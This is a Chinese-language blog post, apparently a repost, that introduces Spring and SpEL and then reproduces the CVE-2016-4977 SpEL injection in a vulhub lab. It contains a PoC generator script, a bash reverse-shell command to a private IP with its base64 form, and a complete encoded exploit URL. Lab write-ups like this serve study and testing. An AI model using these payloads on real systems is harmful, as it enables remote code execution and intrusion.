Spring簡介
Spring是Java EE編程領域的一個輕量級開源框架,該框架由一個叫Rod Johnson的程式員在2002年最早提出并隨后創建,是為了解決企業級編程開發中的復雜性,業務邏輯層和其他各層的松耦合問題,因此它將面向介面的編程思想貫穿整個系統應用,實作敏捷開發的應用型框架,框架的主要優勢之一就是其分層架構,分層架構允許使用者選擇使用哪一個組件,同時為J2EE應用程式開發提供集成的框架,
2009年9月Spring 3.0 RC1發布后,Spring就引入了SpEL (Spring Expression Language),類比Struts2框架,會發現絕大部分的安全漏洞都和OGNL脫不了干系,尤其是遠程命令執行漏洞,這導致Struts2越來越不受待見,
因此,Spring引入SpEL必然增加安全風險,事實上,過去多個Spring CVE都與其相關,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等,
SpEL是什么
SpEL(Spring Expression Language)是基于spring的一個運算式語言,類似于struts的OGNL,能夠在運行時動態執行一些運算甚至一些指令,類似于Java的反射功能,就使用方法上來看,一共分為三類,分別是直接在注解中使用,在XML檔案中使用和直接在代碼塊中使用,
SpEL原理如下∶
-
運算式:可以認為就是傳入的字串內容
-
決議器︰將字串決議為運算式內容
-
背景關系:運算式物件執行的環境
-
根物件和活動背景關系物件∶根物件是默認的活動背景關系物件,活動背景關系物件表示了當前運算式操作的物件
Spring框架特征
1.看web應用程式的ico小圖示,是一個小綠葉子

2.看報錯頁面,如果默認報錯頁面沒有修復,那就是長這樣

3.wappalyzer插件識別

4.f12看X-Application-Context頭

本地環境搭建
安裝IDEA
官網下載安裝包 :https://www.jetbrains.com/idea/download/#section=windows
這里選擇得商業版,免費試用30天


安裝目錄默認

報錯不用管,點擊確認,一直默認下一步

雙擊下圖圖示







選擇Download SDK

選擇jdk1.8



點next

點擊Spring Web

等待安裝

點擊右上角啟動,可以看見默認埠8080

成功訪問,部署成功

這里復現的環境搭建均采用p牛的vulhub靶場環境,
Spring滲透總結
1.Spring Security OAuth2 遠程命令執行(CVE-2016-4977)
漏洞簡介
Spring Security OAuth2是為Spring框架提供安全認證支持的一個模塊,Spring Security OAuth2處理認證請求的時候如果使用了whitelabel views,response_type引數值會被當做Spring SpEL來執行,攻擊者可以在被授權的情況下通過構造response_type值也就是通過構造惡意SpEL運算式可以觸發遠程代碼執行漏洞,故是在需要知道賬號密碼的前提下才可以利用該漏洞,
影響版本
2.0.0-2.0.9
1.0.0-1.0.5
漏洞驗證
啟動漏洞

訪問url

輸入下面的漏洞測驗url:
http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
訪問后會彈窗,輸入用戶名和密碼 admin:admin即可,回傳結果可以看到值被成功計算為2*2=4


頁面回傳執行了我們輸入的SpEL運算式,這里可以看作是SpEL運算式的注入,既然運算式被執行了,我們可以考慮代碼注入的可能性,
漏洞復現
這里看一下vulhub提供的poc,poc地址: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

可以看出該poc對輸入的命令進行了變形,將命令的每個字串轉化為ASCII碼配合tostring()方法并且用concat拼接傳入exec執行,
反彈shell:
對于poc需要先進行base64編碼(java反彈shell都需要先編碼,不然不會成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成錯誤
在線生成有效載荷的網站:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.173.133/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

生成poc
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

修改后的url:
http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
監聽埠:

執行url,看見如圖的顯示頁面說明已成功執行:


反彈shell成功,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299469.html
標籤:其他
上一篇:PHP偽協議的妙用
下一篇:淺析釣魚網站原理及模擬搭建
